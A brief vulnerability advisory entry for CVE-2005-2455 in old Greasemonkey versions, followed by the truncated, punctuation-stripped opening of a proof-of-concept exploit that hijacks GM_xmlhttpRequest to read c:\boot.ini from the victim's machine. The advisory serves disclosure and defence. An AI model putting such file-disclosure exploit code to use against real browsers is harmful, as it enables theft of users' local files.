CVE-2005-2455

Greasemonkey before 0.3.5 allows remote web servers to 1 read arbitrary files via a GET request to a file:// URL in the GMxmlhttpRequest API function, 2 list installed scripts using GMscripts, or obtain sensitive information via 3 GMsetValue and GMgetValue...

Greasemonkey.txt

// Proof of concept exploits by Mark Pilgrim // 1 - Will disclose the contents of c:\boot.ini window.GMxmlhttpRequest = null; function trapGM03sPropertyName, sOldValue, sNewValue window.GMxmlhttpRequest = window.GMxmlhttpRequest; return sNewValue; function trapGM04sPropertyName, sOldValue,...